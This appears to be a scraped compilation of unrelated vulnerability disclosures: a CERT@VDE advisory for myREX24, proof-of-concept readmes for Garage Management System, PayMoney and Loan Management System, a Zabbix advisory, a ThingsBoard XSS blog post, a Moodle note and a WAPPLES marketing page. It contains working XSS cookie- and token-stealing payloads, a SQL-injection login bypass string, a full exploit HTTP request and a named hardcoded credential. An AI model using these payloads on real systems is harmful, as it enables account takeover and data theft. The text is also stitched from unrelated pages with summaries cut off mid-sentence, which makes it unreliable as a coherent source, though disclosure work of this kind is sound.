A remote, unauthenticated attacker can enumerate valid users by sending specific requests to the webservice of MB connect line mymbCONNECT24, mbCONNECT24 and Helmholz myREX24 and myREX24.virtual in all versions through v2.11.2.

2022-09-07 12:56 (CEST) VDE-2022-039  

**Helmholz: Multiple vulnerabilites in myREX24 and myREX24.virtual**  
Share: Email | Twitter  

**

Published

**

2022-09-07 12:56 (CEST)

**

Last update

**

2022-09-07 12:56 (CEST)

**Vendor(s)**

Helmholz GmbH & Co. KG  

**Product(s)**

Article No°

Product Name

Affected Version(s)

myREX24

<= 2.11.2

myREX24.virtual

<= 2.11.2

**

Summary

**

Multiple vulnerabilities have been found in myREX24 and myREX24.virtual. 

**

Vulnerabilities

**

**Weakness**

Improper Restriction of Excessive Authentication Attempts (CWE-307)

**Summary**

_An issue was discovered in MB CONNECT LINE mymbCONNECT24 and mbCONNECT24 through 2.6.2. The login pages bruteforce detection is disabled by default._

**Weakness**

Use of Hard-coded Credentials (CWE-798)

**Summary**

_An issue was discovered in MB CONNECT LINE mymbCONNECT24 and mbCONNECT24 through 2.6.2. The software uses a secure password for database access, but this password is shared across instances._

**Weakness**

Improper Privilege Management (CWE-269)

**Summary**

_An issue was discovered in the MB CONNECT LINE mymbCONNECT24 and mbCONNECT24 software in all versions through 2.6.1. There is a local privilege escalation from the www-data account to the ..._

**Summary**

_An unauthenticated user can enumerate valid users by checking what kind of response the server sends._

**Weakness**

Server-Side Request Forgery (SSRF) (CWE-918)

**Summary**

_An issue was discovered in MB CONNECT LINE mymbCONNECT24 and mbCONNECT24 through 2.6.2. There is an SSRF in thein the MySQL access check, allowing an attacker to scan for open ..._

**Weakness**

Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (CWE-74)

**Summary**

_An issue was discovered in MB CONNECT LINE mymbCONNECT24 and mbCONNECT24 through 2.6.2. There is an outdated and unused component allowing for malicious user input of active code._

**Weakness**

Improper Privilege Management (CWE-269)

**Summary**

_An issue was discovered in MB connect line mymbCONNECT24 and mbCONNECT24 software in all versions through V2.6.2._

**Weakness**

Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)

**Summary**

_An issue was discovered in MB CONNECT LINE mymbCONNECT24 and mbCONNECT24 software in all versions through 2.6.2. Inproper use of access validation allows a logged in user to see devices ..._

**Weakness**

Improper Privilege Management (CWE-269)

**Summary**

_An issue was discovered in MB connect line mymbCONNECT24 and mbCONNECT24 software in all versions through V2.6.2._

**Weakness**

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (CWE-79)

**Summary**

_An issue was discovered in MB CONNECT LINE mymbCONNECT24 and mbCONNECT24 through 2.6.2. There is a self XSS issue with a crafted cookie in the login page._

**Weakness**

URL Redirection to Untrusted Site ('Open Redirect') (CWE-601)

**Summary**

_An issue was discovered in MB CONNECT LINE mymbCONNECT24 and mbCONNECT24 through 2.6.2. There is an unauthenticated open redirect in the redirect.php._

**Weakness**

Server-Side Request Forgery (SSRF) (CWE-918)

**Summary**

_An issue was discovered in MB connect line mymbCONNECT24 and mbCONNECT24 software in all versions through V2.6.2_ 

**Weakness**

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (CWE-79)

**Summary**

_An issue was discovered in MB CONNECT LINE mymbCONNECT24 and mbCONNECT24 through 2.6.2. There is an incomplete XSS filter allowing an attacker to inject crafted malicious code into the page._

**Weakness**

Server-Side Request Forgery (SSRF) (CWE-918)

**Summary**

_An issue was discovered in MB CONNECT LINE mymbCONNECT24 and mbCONNECT24 through 2.6.2. There is an SSRF in the HA module allowing an unauthenticated attacker to scan for open ports._

**Weakness**

Direct Request ('Forced Browsing') (CWE-425)

**Summary**

_An issue was discovered in MB CONNECT LINE mymbCONNECT24 and mbCONNECT24 through 2.6.2. An unauthenticated attacker is able to access files (that should have been restricted) via forceful browsing._

**Weakness**

Use of Incorrectly-Resolved Name or Reference (CWE-706)

**Summary**

_An issue was discovered in MB CONNECT LINE mymbCONNECT24 and mbCONNECT24 through 2.6.2. An attacker can read arbitrary JSON files via Local File Inclusion._

**Weakness**

Incorrect Resource Transfer Between Spheres (CWE-669)

**Summary**

_An authenticated attacker can change the password of his account into a new password that violates the password policy by intercepting and modifying the request that is send to the ..._

**Weakness**

Uncontrolled Resource Consumption (CWE-400)

**Summary**

_An issue was discovered in MB CONNECT LINE mymbCONNECT24 and mbCONNECT24 through 2.6.2. There is an unused function that allows an authenticated attacker to use up all available IPs of ..._

**Weakness**

Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)

**Summary**

_An issue was discovered in MB CONNECT LINE mymbCONNECT24 and mbCONNECT24 through 2.6.2. An incomplete filter applied to a database response allows an authenticated attacker to gain non-public information about ..._

**Weakness**

Cross-site Scripting (XSS) (CWE-79)

**Summary**

_An issue was discovered in MB connect line mymbCONNECT24 and mbCONNECT24 software in all versions through V2.6.2._

**

Impact

**

please see cve id entries

**

Solution

**

****CVE-2020-35557, CVE-2020-35570, CVE-2020-35558,  
CVE-2020-35566, CVE-2020-12527, **CVE-2020-35568**:**** Update to version 2.12.1

**CVE-2020-12528,** **CVE-2020-12529,** **CVE-2020-35560,  
CVE-2020-12530, CVE-2020-35563,** **CVE-2020-35564,  
CVE-2020-35569,** **CVE-2020-35559,**  Update to version >= 2.7.1

**CVE-2020-10384**: Update to version 2.6.2 to close any known way to get to www-data.  
Note: This issue only exists up until version 2.6.1 and has already been addressed in >= 2.6.2

**CVE-2020-35567**: None  
Note: A proper fix for the underlying issue will come with a future architectural core-system-update.

**CVE-2020-35565**: None  
Mitigation: Activate bruteforce detection via Security → Fail2Ban → WebLogin  
Note: A proper fix for the underlying issue will come with a future architectural core-system-update. To further increase the security level of your account enable MFA.

**CVE-2020-35561**: Update to version 2.12.1

**

Reported by

**

OTORIO reported the vulnerabilities to MB connect line.

MB connect line reported the vulnerabilities to Helmholz.

CERT@VDE coordinated.

CVE-2022-22520: VDE-2022-039 | CERT@VDE

Garage Management System 1.0 is vulnerable to Stored Cross Site Scripting (XSS) on several parameters. The vulnerabilities exist during creating or editing the parts under parameters. Using the XSS payload, the Stored XSS triggered and can be used for further attack vector.

Permalink

Cannot retrieve contributors at this time

**CVE-2022-36667**

    # Exploit Title: Garage Management System Remote Code Execution via File Upload
    # Date: 24/07/2022
    # Exploit Author: saitamang
    # Vendor Homepage: https://www.sourcecodester.com
    # Software Link: https://www.sourcecodester.com/sites/default/files/download/mayuri_k/garage.zip
    # Version: 1.0
    # Tested on: Centos 7 + MySQL
    

Writeup for PacketStorm

  
The automation script can be downloaded here

**CVE-2022-36668**

    # Exploit Title: Garage Management System 1.0 is vulnerable to Stored Cross Site (XSS)
    # Date: 24/07/2022
    # Exploit Author: saitamang
    # Vendor Homepage: https://www.sourcecodester.com
    # Software Link: https://www.sourcecodester.com/sites/default/files/download/mayuri_k/garage.zip
    # Version: 1.0
    # Tested on: Centos 7 + MySQL
    

Create: From "Parts" > "Add Parts" > Filled all the form and Intercept using burpsuite > edit 3 parameters "productName" ,"quantity","rate" with payload below. Edit: After creating parts using normal input or access from "Parts" > "Manage Parts" > edit the parts an intercept the request using burpsuite > edit 3 parameters "editProductName","editQuantity","editRate" with payload below.

Payload --> "><svg/onload=alert(document.cookie)>

CVE-2022-36668: POC-DUMP/README.md at main · saitamang/POC-DUMP

An unauthenticated user can create a link with reflected Javascript code inside the backurl parameter and send it to other authenticated users in order to create a fake account with predefined login, password and role in Zabbix Frontend.

**ID:** ZBV-2022-07-1  
**CVE:** CVE-2022-40626  
**Synopsis:** Reflected XSS in the backurl parameter of Zabbix Frontend  
**Description:** An unauthenticated user can create a link with reflected Javascript code inside the backurl parameter and send it to other authenticated users.  
**Severity:** Medium  
**Known Attack Vectors:** When prepared link with malicious code is sent to a user with privileged rights in Zabbix (e.g. Zabbix Super Admin) and the user follows the link, the XSS payload will create a fake account with predefined login, password and role in Zabbix Frontend.  
**Resolution:** To remediate this vulnerability, apply the updates listed in the 'Fixed Version' section to appropriate products.  
**Workarounds:** The vulnerability can be exploited only by authenticated users. If an immediate update is not possible, review user access rights to your Zabbix Frontend, be attentive to browser warnings and always check any links you can receive via email or other means of communication, which lead to Zabbix Frontend and contain suspicious parameters with special symbols.  
**Affected components and their versions:** Frontend 6.0.0-6.0.6, 6.2.0)  
**Fixed version/s:** Frontend (=>6.0.7rc1, =>6.2.1rc1)

CVE-2022-40626: [ZBX-21350] Cross site scripting in backurl parameter (CVE-2022-40626)

PayMoney 3.3 is vulnerable to Client Side Remote Code Execution (RCE). The vulnerability exists on the reply ticket function and upload the malicious file. A calculator will open when the victim who download the file open the RTF file.

**CVE-2022-37140**

    # Exploit Title: PayMoney 3.3 is vulnerable to Client Side Remote Code Execution (RCE).
    # Date: 24/07/2022
    # Exploit Author: saitamang
    # Vendor Homepage: https://paymoney.techvill.org/
    # Software Link: https://paymoney.techvill.org/
    # Version: 3.3
    

**Description**

The paymoney.techvill.org system suffers from Client Side Remote Code Execution (RCE) from uploading malicious RTF file. The vulnerability exist on reply ticket function and upload the malicious file. A calculator will open when the victim who download the file open the RTF file.

**Attack Vector**

1.  The attacker create the malicious macro file

2.  The file is then uploaded

3.  If the user download the file, the file can be executed and gain the client side RCE.

4.  The RCE executed on client side.

**CVE-2022-37137**

    # Exploit Title: PayMoney 3.3 is vulnerable to Stored Cross-Site Scripting (XSS) during replying the ticket
    # Date: 24/07/2022
    # Exploit Author: saitamang
    # Vendor Homepage: https://paymoney.techvill.org/
    # Software Link: https://paymoney.techvill.org/
    # Version: 3.3
    

**Description**

The XSS can be obtain from injecting under "Message" field with "description" parameter with the specially crafted payload to gain Stored XSS. The XSS then will prompt after that or can be access from the view ticket function.

**Attack Vector**

1.  The user first must created a ticket.

2.  Then on the replying the ticket under "Message" field with "description" parameter, inject the payload below to gain Stored Cross-Site Scripting(XSS).

    "><svg/onload=alert(document.cookie)>
    

3.  The XSS will prompt or can be access from the view ticket function

CVE-2022-37140: POC-DUMP/PayMoney at main · saitamang/POC-DUMP

Loan Management System version 1.0 suffers from a persistent cross site scripting vulnerability.

Permalink

**Loan Management System**

Loan Management System suffers from severals vulnerabilities which is SQL Injection and Stored Cross Site Scripting (XSS).

**CVE-2022-37138****1\. SQL Injection**

    # Exploit Title: Loan Management System - SQL Injection via login page
    # Date: 28/07/2022
    # Exploit Author: saitamang
    # Vendor Homepage: sourcecodester
    # Software Link: https://www.sourcecodester.com/sites/default/files/download/razormist/LMS.zip
    # Version: 1.0
    # Tested on: Centos 7 apache2 + MySQL
    

The attack vector for the SQL Injection happened at the login page. The login can be bypass using the boolean payload below to gain access as Admin as the highest privileges.

Payload --> 'or 2=2#

The python script to get the database name from SQL Injection Vulnerability can be access here.

**CVE-2022-37139****2\. Stored Cross Site Scripting**

    # Exploit Title: Loan Management System - XSS Stored
    # Date: 28/07/2022
    # Exploit Author: saitamang
    # Vendor Homepage: sourcecodester
    # Software Link:
    https://www.sourcecodester.com/sites/default/files/download/razormist/LMS.zip
    # Version: 1.0
    # Tested on: Centos 7 apache2 + MySQL
    

There are several functions and parameter affected as below:

    addUser.php
    - firstname
    - lastname
    
    save_ltype.php
    - ltype_name
    - ltype_desc
    
    save_borrower.php
    - firstname
    - middlename
    - lastname
    - address
    

The payload use to inject is "/><svg/onload=alert(document.cookie)>

CVE-2022-37139: POC-DUMP/README.md at main · saitamang/POC-DUMP

Cross Site Scripting (XSS) vulnerability in configMap parameters in Yellowfin Business Intelligence 7.3 allows remote attackers to run arbitrary code via MIAdminStyles.i4 Admin UI.

CVE-2020-19587

Incorrect Access Control issue in Yellowfin Business Intelligence 7.3 allows remote attackers to escalate privilege via MIAdminStyles.i4 Admin UI.

Sorry, something went wrong. Reload?

Sorry, we cannot display this file.

Sorry, this file is invalid so it cannot be displayed.

CVE-2020-19586: CVE-2020-19586/Stored XSS in MIAdminStyles.i4 through privileges escalation.pdf at main · Deepak983/CVE-2020-19586

Cross site Scripting (XSS) in ThingsBoard IoT Platform through 3.3.4.1 via a crafted value being sent to the audit logs.

Cross site Scripting (XSS) in ThingsBoard IoT Platform through 3.3.4.1 via a crafted value being sent to the audit logs.

Audit logs help in establishing accountability of usage among various users of an application. However, if this functionality is not implemented securely, attackers can abuse the implementation flaws to launch attacks against application users. In this blog, we take a look at an XSS vulnerability in the audit logs feature of Thingsboard, an open-source IoT platform, and how it leads to account takeover of admin accounts. This vulnerability can be exploited by an existing lower privileged user of the platform.

According to Thingsboard's documentation (https://thingsboard.io/docs/pe/user-guide/rbac/), on the community edition, _"a tenant administrator manages devices, dashboards, customers, and other entities that belong to a particular tenant"._ Each tenant has several customers and as per documentation - _"Customer user is able to view dashboards and control devices that are assigned to a specific customer."_  If a customer is able to take over the account of a tenant admin, that customer would be able to target all other customers belonging to the same tenant.

A stored cross-site scripting vulnerability on Thingsboard lets a customer take over the account of a tenant admin. A customer has view-only privilege for most functionalities. However, a customer can edit their own profile, and insert an XSS payload in the "email" parameter.  This XSS payload gets injected in the audit logs page, and when a tenant admin views the audit logs, the customer gets the tenant admin's authentication token (stored in LocalStorage).

Below is the underlying HTTP POST request in which the customer inserts an XSS payload in the email parameter, followed by the HTTP response (providing the complete request/response without masking any sensitive field, as the information corresponds to default accounts on a local installation of Thingsboard community edition).

**HTTP Request:**

POST /api/user?sendActivationMail=false HTTP/1.1

Host: localhost:8080

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0

Accept: application/json, text/plain, \*/\*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/json

X-Authorization: Bearer eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiJjdXN0b21lckB0aGluZ3Nib2FyZC5vcmciLCJ1c2VySWQiOiJkN2VkYjliMC0zMWViLTExZWQtYmVhOS00M2MzY2JjODFhNjMiLCJzY29wZXMiOlsiQ1VTVE9NRVJfVVNFUiJdLCJpc3MiOiJ0aGluZ3Nib2FyZC5pbyIsImlhdCI6MTY2MzA5NTI4OCwiZXhwIjoxNjYzMTA0Mjg4LCJmaXJzdE5hbWUiOiJ0ZXN0MDFzIiwibGFzdE5hbWUiOiJoa2Jja2EiLCJlbmFibGVkIjp0cnVlLCJpc1B1YmxpYyI6ZmFsc2UsInRlbmFudElkIjoiZDc0ZWUxYTAtMzFlYi0xMWVkLWJlYTktNDNjM2NiYzgxYTYzIiwiY3VzdG9tZXJJZCI6ImQ3ZGZkNzAwLTMxZWItMTFlZC1iZWE5LTQzYzNjYmM4MWE2MyJ9.Gg-KmkQn7Bv2-in8CLEVt8VKtTHTDxUpOfbzIouaND5gYP74JnUC5tOwPR-Ebm4xpeVzG9ooYOS3KIYRFuKBsg

Content-Length: 758

Origin: http://localhost:8080

Connection: close

Referer: http://localhost:8080/profile

{"id":{"entityType":"USER","id":"d7edb9b0-31eb-11ed-bea9-43c3cbc81a63"},"createdTime":1662912452811,"additionalInfo":{"userPasswordHistory":{"1662912452941":"$2a$10$raEXkVa09GJaH3UnbFIKMeyQTypYThWhwpe0pHEMuZ3ZX80VIrcWu"},"failedLoginAttempts":0,"lastLoginTs":1663095288216,"userCredentialsEnabled":true,"lang":"en\_US","homeDashboardHideToolbar":true},"tenantId":{"entityType":"TENANT","id":"d74ee1a0-31eb-11ed-bea9-43c3cbc81a63"},"customerId":{"entityType":"CUSTOMER","id":"d7dfd700-31eb-11ed-bea9-43c3cbc81a63"},**"email":"customer@thingsboard.org<img src=# onerror=alert(localStorage.getItem('jwt\_token'))>"**,"authority":"CUSTOMER\_USER","firstName":"test","lastName":"test","name":"customer@thingsboard.org","language":"en\_US","homeDashboardHideToolbar":true}

**HTTP Response:**

HTTP/1.1 400 

Vary: Origin

Vary: Access-Control-Request-Method

Vary: Access-Control-Request-Headers

X-Content-Type-Options: nosniff

X-XSS-Protection: 1; mode=block

Cache-Control: no-cache, no-store, max-age=0, must-revalidate

Pragma: no-cache

Expires: 0

Content-Type: application/json;charset=ISO-8859-1

Content-Length: 202

Date: Tue, 13 Sep 2022 18:56:57 GMT

Connection: close

{"status":400,"message":"Invalid email address format 'customer@thingsboard.org<img src=# onerror=alert(localStorage.getItem('jwt\_token'))>'!","errorCode":31,"timestamp":"2022-09-13T18:56:57.476+00:00"}

We can confirm that the user who issued this request is indeed a customer by decoding the JWT token used in the request:

**JWT:**

eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiJjdXN0b21lckB0aGluZ3Nib2FyZC5vcmciLCJ1c2VySWQiOiJkN2VkYjliMC0zMWViLTExZWQtYmVhOS00M2MzY2JjODFhNjMiLCJzY29wZXMiOlsiQ1VTVE9NRVJfVVNFUiJdLCJpc3MiOiJ0aGluZ3Nib2FyZC5pbyIsImlhdCI6MTY2MzA5NTI4OCwiZXhwIjoxNjYzMTA0Mjg4LCJmaXJzdE5hbWUiOiJ0ZXN0MDFzIiwibGFzdE5hbWUiOiJoa2Jja2EiLCJlbmFibGVkIjp0cnVlLCJpc1B1YmxpYyI6ZmFsc2UsInRlbmFudElkIjoiZDc0ZWUxYTAtMzFlYi0xMWVkLWJlYTktNDNjM2NiYzgxYTYzIiwiY3VzdG9tZXJJZCI6ImQ3ZGZkNzAwLTMxZWItMTFlZC1iZWE5LTQzYzNjYmM4MWE2MyJ9.Gg-KmkQn7Bv2-in8CLEVt8VKtTHTDxUpOfbzIouaND5gYP74JnUC5tOwPR-Ebm4xpeVzG9ooYOS3KIYRFuKBsg

**Decoded JWT payload** (from jwt.io):

{

  "sub": "customer@thingsboard.org",

  "userId": "d7edb9b0-31eb-11ed-bea9-43c3cbc81a63",

  "scopes": \[

    "CUSTOMER\_USER"

  \],

  "iss": "thingsboard.io",

  "iat": 1663095288,

  "exp": 1663104288,

  "firstName": "test01s",

  "lastName": "hkbcka",

  "enabled": true,

  "isPublic": false,

  "tenantId": "d74ee1a0-31eb-11ed-bea9-43c3cbc81a63",

  "customerId": "d7dfd700-31eb-11ed-bea9-43c3cbc81a63"

}

When a tenant admin views the audit logs, the payload injected by the customer (i.e., **<img src=# onerror=alert(localStorage.getItem('jwt\_token'))>** executes on the browser of the tenant admin, as shown below.

**References:**

CVE-2022-31861: CVE-ID: CVE-2022-31861

In certain Moodle products after creating a course, it is possible to add in a arbitrary "Topic" a resource, in this case a "Database" with the type "Text" where its values "Field name" and "Field description" are vulnerable to Cross Site Scripting Stored(XSS). This affects Moodle 3.11 and Moodle 3.10.4 and Moodle 3.9.7.

**Description**

After the creation of a course it is possible to add into the resources database, with text input, where in the "Field name" and "Field description" are vulnerable to Cross-Site Scripting Stored (XSS)

**Proof of Concept (POC)**

To exploit the vulnerability it is necessary that an user gets access to the course and click into the option "Search"

The affected fields are: "Field name" and "Field description", both text input.

**Attacker****Victim**

**Affected Versions**

*   3.9.7
*   3.10.4
*   3.11

**Researchers/Hackers**

Thiago Martins (Kirito), Leandro Inacio (Saitama), Matheus Oliveira (Froyd) e Lucas Gomes (Sinnat)

CVE-2021-36568: Blog Hacking Force

WAPPLES through 6.0 has a hardcoded systemi account accessible via db/wp.no1 (as configured in the /opt/penta/wapples/script/wcc_auto_scaling.py file). A threat actor could use this account to access the system configuration and confidential information (such as SSL keys) via an HTTPS request to the /webapi/ URI on port 443 or 5001.

**

The Logical Web Application Firewall for protecting web applications hosted on Azure

**

With the largest market share in the WAF market of Asia Pacific, WAPPLES’ customers include some of the largest in the finance, public, and commercial sectors.  
WAPPLES protects applications from attacks that exploit both known and zero-day vulnerabilities. From Application-layer DoS to SQLi and XSS, WAPPLES is effectively covers all OWASP top 10 risks.  
With an intuitive GUI that is easy to learn and use, WAPPLES allows for quick deployment within a few steps. All VMs can be configured and monitored through one central management console. Online customer support is available at all times.

WAPPLES SA v6.0 is extremely versatile, where security policies include a selection of 32 configurable logic-based detection rules, specifically tailored to protect against web attacks. It is deployable in reverse proxy, inline, and high availability modes. Even reports are customizable.  
The AI-based COCEP engine allows automatic detection of known and zero-day attacks, resulting in high accuracy and low false-positives.  
Fully integrated to Azure, WAPPLES offers a wide range of additional services such as load balancing and data loss prevention, helping users make the most out of their Azure experience.  
WAPPLES SA is available in the following languages: English, Korean, Japanese, Russian, and Ukrainian.

Please contact the corresponding region for inquires:  

*   Korea: cloud@pentasecurity.com
*   Japan: japan@pentasecurity.com
*   Global: globalbiz@pentasecurity.com

Tag

#xss